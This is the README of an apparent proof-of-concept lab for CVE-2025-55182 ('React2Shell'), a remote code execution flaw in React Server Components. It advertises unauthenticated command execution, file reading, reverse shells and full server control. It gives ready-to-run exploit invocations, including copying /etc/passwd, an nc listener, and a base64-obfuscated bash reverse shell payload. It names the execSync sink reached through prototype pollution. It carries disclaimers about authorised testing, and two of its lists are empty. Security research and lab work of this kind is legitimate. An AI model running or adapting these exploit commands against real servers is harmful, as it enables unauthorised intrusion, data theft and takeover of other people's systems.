
CVE-2025-55182 React2Shell PoC lab
A comprehensive laboratory for demonstrating and testing the critical vulnerability CVE-2025-55182 in React Server Components.
This repository is intended for:
Do not use against systems you don't own or have explicit permission to test. Unauthorized access is illegal.
✅ Execute arbitrary commands without authentication
✅ Read system files
✅ Create and modify files
✅ Establish reverse shell connections
✅ Achieve full server control
npm install --legacy-peer-deps
npm run dev
Server will start at http://localhost:3000
bash check-cve.sh
cd exploit
python3 rce_final.py "whoami"
python3 rce_final.py "id > /tmp/id.txt &"
python3 rce_final.py "cat /etc/passwd > /tmp/passwd.txt &"
# Terminal 1 - Listener
nc -lvnp 4444
# Terminal 2 - Exploit
python3 rce_final.py "echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx | base64 -d | bash &"
├── app/ # Vulnerable Next.js application
├── exploit/ # Working PoC exploit
│ └── rce_final.py # Main exploit script
├── check-cve.sh # Automated vulnerability checker
├── package.json # Vulnerable dependencies
└── README.md
The vulnerability exists in the deserialization logic of React Server Components payloads. The exploit leverages prototype pollution to execute arbitrary code via process.mainModule.require('child_process').execSync().
This code is provided for educational and authorized security testing purposes only. Users are responsible for ensuring they have proper authorization before testing any systems. Unauthorized access to computer systems is illegal under laws such as the Computer Fraud and Abuse Act (CFAA) and similar legislation in other jurisdictions.
The author assumes no liability for misuse of this information.
After working through this lab, you will understand: